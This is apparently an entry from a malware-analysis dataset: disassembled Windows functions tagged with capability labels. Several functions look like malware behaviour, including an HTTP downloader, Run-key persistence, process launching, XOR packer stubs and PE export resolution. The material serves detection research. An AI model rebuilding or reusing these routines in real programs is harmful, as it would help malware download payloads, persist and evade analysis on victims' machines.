joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48692c
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov ebx, eax
xor eax, eax
push ebp
push 0x486a7b
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x491dec], 0x20
jle 0x486a53
lea eax, [ebp - 4]
mov ecx, 0x486a90
mov edx, dword [0x491e08]
call fcn.00404fb4
mov eax, dword [ebp - 4]
call fcn.00409ac0
test al, al
je 0x4869a3
lea eax, [ebp - 8]
mov ecx, 0x486a90
mov edx, dword [0x491e08]
call fcn.00404fb4
mov esi, dword [ebp - 8]
mov dword [ebp - 0xc], esi
mov eax, dword [ebp - 0xc]
call fcn.0040512c
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
lea eax, [ebp - 0x10]
mov ecx, 0x486a90
mov edx, dword [0x491e08]
call fcn.00404fb4
mov ecx, dword [ebp - 0x10]
mov edx, 0x486aa4
mov eax, ebx
call fcn.0048708c
jmp 0x4869d1
lea eax, [ebp - 0x14]
mov ecx, 0x486a90
mov edx, dword [0x491e08]
call fcn.00404fb4
mov eax, dword [ebp - 0x14]
call fcn.00409ac0
test al, al
je 0x486a53
lea eax, [ebp - 0x18]
mov ecx, 0x486a90
mov edx, dword [0x491e08]
call fcn.00404fb4
mov edx, dword [ebp - 0x18]
mov eax, ebx
call fcn.00487664
cmp eax, 0xc350
jle 0x486a53
mov edx, 2
mov eax, ebx
call fcn.00486b00
push 1
push 0
push 0
lea eax, [ebp - 0x1c]
mov ecx, 0x486a90
mov edx, dword [0x491e08]
call fcn.00404fb4
mov eax, dword [ebp - 0x1c]
call fcn.0040512c
push eax
push 0x486acc
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00404ba8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x486a82
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00404cc0
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404cc0
ret
Function at 0x48708c
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x420], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.0040511c
mov eax, dword [ebp - 8]
call fcn.0040511c
xor eax, eax
push ebp
push 0x487245
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffff
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x416ba4]
call fcn.0041ac54
mov dword [ebp - 0x1c], eax
lea edx, [ebp - 0x420]
mov eax, 0x20
call fcn.004095f4
mov ecx, dword [ebp - 0x420]
lea eax, [ebp - 0xc]
mov edx, 0x48725c
call fcn.00404fb4
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.0040512c
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x48720c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040512c
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x4871ee
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
push eax
push 0x400
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.wininet.dll_InternetReadFile
xor esi, esi
lea ebx, [ebp - 0x41c]
lea eax, [esi + 0xc]
cmp eax, 0x400
jge 0x4871ae
cmp byte [ebx], 0x23
jne 0x4871ae
cmp byte [ebx + 1], 0x14
jne 0x4871ae
cmp byte [ebx + 2], 0x62
jne 0x4871ae
mov edi, 3
mov eax, 0xff
call fcn.004033a8
lea edx, [edi + esi]
mov byte [ebp + edx - 0x41c], al
inc edi
cmp edi, 0xa
jne 0x487194
inc esi
inc ebx
cmp esi, 0x400
jne 0x487174
lea edx, [ebp - 0x41c]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
call fcn.0041aa04
cmp dword [ebp - 0x10], 0
jne 0x487153
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4871f5
mov eax, dword [ebp - 0x1c]
call fcn.00403e4c
mov eax, dword [ebp - 0x18]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
Function at 0x4872ac
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4873ca
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, 0x4873e0
mov edx, dword [0x491e04]
call fcn.00404fb4
mov eax, dword [ebp - 4]
call fcn.00409ac0
test al, al
jne 0x487348
lea eax, [ebp - 8]
mov ecx, 0x4873e0
mov edx, dword [0x491e04]
call fcn.00404fb4
mov ecx, dword [ebp - 8]
mov edx, 0x4873f4
mov eax, esi
call fcn.0048708c
mov ebx, 0x3c
lea eax, [ebp - 0xc]
mov ecx, 0x4873e0
mov edx, dword [0x491e04]
call fcn.00404fb4
mov eax, dword [ebp - 0xc]
call fcn.00409ac0
test al, al
jne 0x487339
mov edx, 1
mov eax, esi
call fcn.00486b00
dec ebx
jne 0x48730e
jmp 0x487348
lea eax, [ebp - 0x10]
mov ecx, 0x4873e0
mov edx, dword [0x491e04]
call fcn.00404fb4
mov eax, dword [ebp - 0x10]
call fcn.00409ac0
test al, al
je 0x4873af
push 1
push 0
push 0
lea eax, [ebp - 0x14]
mov ecx, 0x4873e0
mov edx, dword [0x491e04]
call fcn.00404fb4
mov eax, dword [ebp - 0x14]
call fcn.0040512c
push eax
push 0x487420
push 0
call sub.shell32.dll_ShellExecuteA
cmp byte [0x491de5], 0
jne 0x4873a8
push 0x493e0
call sub.kernel32.dll_Sleep_1
mov byte [0x491de5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4873d1
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00404cc0
ret
Function at 0x487428
Capabilities:
Create process on windows
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov ebx, eax
mov esi, 0x491e14
xor eax, eax
push ebp
push 0x4875b4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4875c8
lea eax, [ebp - 4]
push eax
mov ecx, 0x4875dc
mov edx, 0x80000002
mov eax, ebx
call fcn.00486dc8
mov eax, dword [ebp - 4]
mov edx, dword [esi]
call fcn.004050c4
jne 0x487490
mov eax, dword [0x491e0c]
mov edx, dword [0x491e10]
call fcn.004050c4
jne 0x487490
mov eax, dword [esi]
call fcn.00409ac0
test al, al
je 0x4874c5
xor eax, eax
call fcn.00404c84
jmp 0x4874c5
push 0x4875c8
mov eax, dword [esi]
push eax
mov ecx, 0x4875dc
mov edx, 0x80000002
mov eax, ebx
call fcn.00486cec
push 0x487614
mov eax, dword [0x491e10]
push eax
mov ecx, 0x487628
mov edx, 0x80000002
mov eax, ebx
call fcn.00486cec
mov eax, dword [0x491e10]
call fcn.00409ac0
test al, al
jne 0x4874e2
xor ecx, ecx
mov edx, dword [0x491e10]
mov eax, ebx
call fcn.00486eb8
mov eax, dword [esi]
call fcn.00409ac0
test al, al
jne 0x4874f8
xor ecx, ecx
mov edx, dword [esi]
mov eax, ebx
call fcn.00486eb8
mov eax, dword [0x491e0c]
mov edx, dword [0x491e10]
call fcn.004050c4
jne 0x487511
xor eax, eax
call fcn.00404c84
mov eax, dword [0x491e0c]
mov edx, dword [esi]
call fcn.004050c4
je 0x487578
mov eax, dword [0x491e0c]
mov edx, dword [0x491e10]
call fcn.004050c4
je 0x487578
xor ecx, ecx
mov edx, dword [esi]
mov eax, ebx
call fcn.00486eb8
xor ecx, ecx
mov edx, dword [0x491e10]
mov eax, ebx
call fcn.00486eb8
mov edx, 0x708
mov eax, ebx
call fcn.00486b00
push 0
push 0
push 0
mov eax, dword [esi]
call fcn.0040512c
push eax
push 0x48765c
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
call fcn.00404c84
mov eax, dword [0x491e0c]
mov edx, dword [esi]
call fcn.004050c4
jne 0x48759e
mov edx, 0x78
mov eax, ebx
call fcn.00486b00
jmp 0x48759e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4875bb
lea eax, [ebp - 4]
call fcn.00404c9c
ret
Function at 0x487cb8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], edx
xor eax, eax
push ebp
push 0x487e2c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x487e44
call fcn.00404d34
mov byte [ebp - 9], 0
xor eax, eax
mov dword [ebp - 8], eax
xor ebx, ebx
push ebp
push 0x487deb
push dword fs:[ebx]
mov dword fs:[ebx], esp
lea eax, [ebp - 0x18]
mov ecx, 0x487e58
mov edx, dword [0x491e08]
call fcn.00404fb4
mov eax, dword [ebp - 0x18]
call fcn.00409ac0
test al, al
je 0x487d44
push 0
lea eax, [ebp - 0x1c]
mov ecx, 0x487e58
mov edx, dword [0x491e08]
call fcn.00404fb4
mov ecx, dword [ebp - 0x1c]
mov dl, 1
mov eax, dword [0x416ba4]
call fcn.0041ac54
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx]
mov dword [0x491df8], eax
mov dword [0x491dfc], edx
mov eax, dword [0x491df8]
call fcn.00402f34
mov dword [0x491e00], eax
mov edx, dword [0x491e00]
mov ecx, dword [0x491df8]
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [0x491df8]
dec eax
test eax, eax
jl 0x487dd5
inc eax
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x487da2
mov eax, dword [ebp - 0x14]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
test eax, eax
jle 0x487dc3
mov edx, 1
mov ebx, dword [ebp - 4]
movzx ebx, byte [ebx + edx - 1]
mov esi, dword [0x491e00]
xor byte [esi + ecx], bl
inc edx
dec eax
jne 0x487dae
inc ecx
dec dword [ebp - 0x10]
jne 0x487d8b
jmp 0x487dd5
mov eax, dword [ebp - 8]
call fcn.00403e4c
mov byte [ebp - 9], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x487dff
cmp byte [ebp - 9], 1
je 0x487cf0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x487e33
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00404cc0
lea eax, [ebp - 4]
call fcn.00404c9c
ret
Function at 0x403310
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x180c
call fcn.0040c690
mov eax, dword [0x4c144c]
mov ecx, dword [0x4b1764]
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x403432
mov edi, dword [sym.imp.KERNEL32.dll_SetHandleCount]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp dword [0x4c144c], 0x959
jne 0x403418
push 0
call edi
push 0
lea eax, [esp + 0x1c]
push eax
push 0
call ebx
push 0
push 0
call esi
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
push 0
push 0
lea ecx, [esp + 0x820]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
lea edx, [esp + 0x101c]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x402d08
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x402d18
push 0x402d2c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov eax, dword [esp + 0x10]
push eax
call fcn.00403130
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x403354
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x180c
ret
Function at 0x409940
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x444b70]
jne 0x40994a
repz ret
jmp fcn.0040b96c

Function at 0x40a313
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405e63
and dword [ebp - 4], 0
cmp dword [0x447d2c], 0
mov ebx, eax
jne 0x40a3c4
push 0x402bfc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a475
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402bf0
push edi
call esi
test eax, eax
je 0x40a475
push eax
call fcn.00405df1
mov dword [esp], 0x402be0
push edi
mov dword [0x447d2c], eax
call esi
push eax
call fcn.00405df1
mov dword [esp], 0x402bcc
push edi
mov dword [0x447d30], eax
call esi
push eax
call fcn.00405df1
mov dword [esp], 0x402bb0
push edi
mov dword [0x447d34], eax
call esi
push eax
call fcn.00405df1
pop ecx
mov dword [0x447d3c], eax
test eax, eax
je 0x40a3c4
push 0x402b98
push edi
call esi
push eax
call fcn.00405df1
pop ecx
mov dword [0x447d38], eax
mov eax, dword [0x447d38]
cmp eax, ebx
je 0x40a41c
cmp dword [0x447d3c], ebx
je 0x40a41c
push eax
call fcn.00405e6c
push dword [0x447d3c]
mov esi, eax
call fcn.00405e6c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a41c
test edi, edi
je 0x40a41c
call esi
test eax, eax
je 0x40a413
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a413
test byte [ebp - 0xc], 1
jne 0x40a41c
or dword [ebp + 0x10], 0x200000
jmp 0x40a455
mov eax, dword [0x447d30]
cmp eax, ebx
je 0x40a455
push eax
call fcn.00405e6c
pop ecx
test eax, eax
je 0x40a455
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a455
mov eax, dword [0x447d34]
cmp eax, ebx
je 0x40a455
push eax
call fcn.00405e6c
pop ecx
test eax, eax
je 0x40a455
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x447d2c]
call fcn.00405e6c
pop ecx
test eax, eax
je 0x40a475
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a477
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4060b6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004021ba
and dword [ebp - 4], 0
cmp dword [0x40b654], 0
mov ebx, eax
jne 0x406167
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406218
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406218
push eax
call fcn.00402148
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b654], eax
call esi
push eax
call fcn.00402148
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b658], eax
call esi
push eax
call fcn.00402148
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40b65c], eax
call esi
push eax
call fcn.00402148
pop ecx
mov dword [0x40b664], eax
test eax, eax
je 0x406167
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402148
pop ecx
mov dword [0x40b660], eax
mov eax, dword [0x40b660]
cmp eax, ebx
je 0x4061bf
cmp dword [0x40b664], ebx
je 0x4061bf
push eax
call fcn.004021c3
push dword [0x40b664]
mov esi, eax
call fcn.004021c3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4061bf
test edi, edi
je 0x4061bf
call esi
test eax, eax
je 0x4061b6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4061b6
test byte [ebp - 0xc], 1
jne 0x4061bf
or dword [ebp + 0x10], 0x200000
jmp 0x4061f8
mov eax, dword [0x40b658]
cmp eax, ebx
je 0x4061f8
push eax
call fcn.004021c3
pop ecx
test eax, eax
je 0x4061f8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4061f8
mov eax, dword [0x40b65c]
cmp eax, ebx
je 0x4061f8
push eax
call fcn.004021c3
pop ecx
test eax, eax
je 0x4061f8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b654]
call fcn.004021c3
pop ecx
test eax, eax
je 0x406218
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40621a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x71d17bbb
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x599a6371
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x100013a6
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x100013e6
mov eax, esp
mov dword [eax], 0xa6b92e
mov eax, dword [sym.imp.USER32.dll_ShowCaret]
call eax
sub esp, 4
mov dword [ebp - 8], eax
mov eax, esp
mov dword [eax + 4], 0x281
mov dword [eax], 0x281
mov eax, dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
jmp 0x1000144c
mov eax, dword [ebp - 4]
mov ecx, esp
mov dword [ecx + 8], 0xc6ff96
mov dword [ecx + 4], 0x8ac21
mov dword [ecx], 0xf68
mov dword [ebp - 0x10], eax
call sub.USER32.dll_PackDDElParam
sub esp, 0xc
mov ecx, esp
mov dword [ecx], 0x414
mov ecx, dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 0x14], eax
call ecx
sub esp, 4
mov ecx, dword [ebp - 0x10]
sub ecx, 8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
je 0x100013b3
jmp 0x10001430
mov eax, dword [ebp - 0x10]
sub eax, 0x3c
mov dword [ebp - 0x20], eax
jne 0x1000144c
jmp 0x1000143d
mov eax, dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call eax
mov dword [ebp - 0x24], eax
jmp 0x100013b3
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp eax, 0x61
mov dword [ebp - 4], eax
jne 0x100013e6
add esp, 0x38
pop ebp
ret
Function at 0x10156ad9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x16c
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x101c4800], 0x132a
mov dword [0x101c47fc], 0x3614
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
jmp 0x10156b84
lea eax, [ebp - 0x2c]
mov dword [0x101c4800], 0x156a
mov dword [ebp - 0x13c], eax
call fcn.10157355
mov dword [esp], eax
mov eax, dword [ebp - 0x13c]
mov dword [esp + 4], eax
call fcn.10157c67
mov ecx, eax
mov dword [0x101c481c], eax
mov eax, esp
mov edx, dword [ebp - 0x140]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x14c], ecx
jmp 0x10156c25
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, eax, 0x178
mov edi, edx
add edi, esi
add edi, 0xc0
mov esi, dword [edi]
imul edi, eax, 0x178
add edx, edi
add edx, 0xbc
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x493
mov ecx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
jne 0x10156b84
xor eax, eax
mov dword [0x101c47fc], 0x1177
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x10158634]
mov dh, byte [eax + 0x10158605]
sub dh, dl
mov byte [ebp + eax - 0x2c], dh
cmp ecx, 0xe
mov dword [ebp - 0x150], ecx
je 0x10156b14
jmp 0x10156bef
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x148]
lea edx, section..data
imul esi, eax, 0x178
mov edi, edx
add edi, esi
add edi, 0xbc
mov esi, eax
add esi, 1
imul ebx, eax, 0x178
mov dword [ebp - 0x154], eax
mov eax, edx
add eax, ebx
add eax, 0xc0
mov ebx, dword [ebp - 0x154]
imul ebx, ebx, 0x178
add edx, ebx
add edx, 0x2c
mov ebx, dword [ebp - 0x144]
add ebx, ecx
mov eax, dword [eax]
mov edx, dword [edx]
movzx edi, word [edi]
xor edi, eax
mov dword [esp], ebx
mov dword [esp + 4], edx
mov dword [esp + 8], edi
mov dword [ebp - 0x158], esi
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x160], edi
call fcn.10157623
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
add eax, ecx
mov edx, dword [ebp - 0x158]
cmp edx, 0x493
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x148], eax
jne 0x10156c25
lea eax, [0x10158613]
mov ecx, 0x20
lea edx, [ebp - 0x12c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x168], ecx
call fcn.101570cf
mov eax, dword [ebp - 0x164]
mov dword [esp], eax
mov ecx, dword [ebp - 0x144]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x140]
mov dword [esp + 0xc], edx
call fcn.101576af
xor eax, eax
mov ecx, dword [ebp - 0x144]
add ecx, 0x88660
mov edx, dword [ebp - 0x130]
mov dword [edx], ecx
mov dword [edx + 4], 0x122c00
mov ecx, dword [ebp - 0x144]
add ecx, 0x7d773
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x1f50
add esp, 0x16c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10156d6c
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
call fcn.1000108e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x10156e23
jmp 0x10156ee8
mov eax, dword [esp + 0x20]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x10156ed4
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.10156ad9
lea ecx, [0x10157e84]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x84], edx
mov dword [esp + 0x74], 0x122c00
mov dword [0x101c47fc], 0x15a6
mov edx, dword [0x101c47e8]
mov dword [esp + 0x48], edx
mov edx, dword [0x101c47ec]
mov dword [esp + 0x40], edx
mov edx, dword [0x101c47f0]
mov dword [esp + 0x78], edx
mov edx, dword [0x101c47f4]
mov dword [esp + 0x44], edx
mov edx, dword [0x101c47f8]
mov dword [esp + 0x38], edx
mov dword [0x101c4800], 0x109b
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
jmp 0x10156ed4
lea eax, [esp + 0x38]
mov ecx, dword [0x101c47fc]
add ecx, 0xffffefd3
mov dword [0x101c47fc], ecx
mov dword [esp + 0x14], eax
call fcn.1015723c
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x10156dab
jmp 0x10156eca
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x60], ecx
mov dword [0x101c47fc], 0xfffff682
mov edx, dword [esp + 0xc]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x50], esi
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.10157912
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov ecx, dword [0x101c47fc]
add ecx, 0xffffe5c3
mov dword [0x101c4800], ecx
mov dword [esp + 0x10], eax
jmp 0x10156eca
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x10156e55
jmp 0x10156d94
mov eax, dword [esp + 0x10]
mov dword [esp + 0x24], eax
jmp 0x10156ee8
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
je 0x10156eb1
jmp 0x10156d94
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret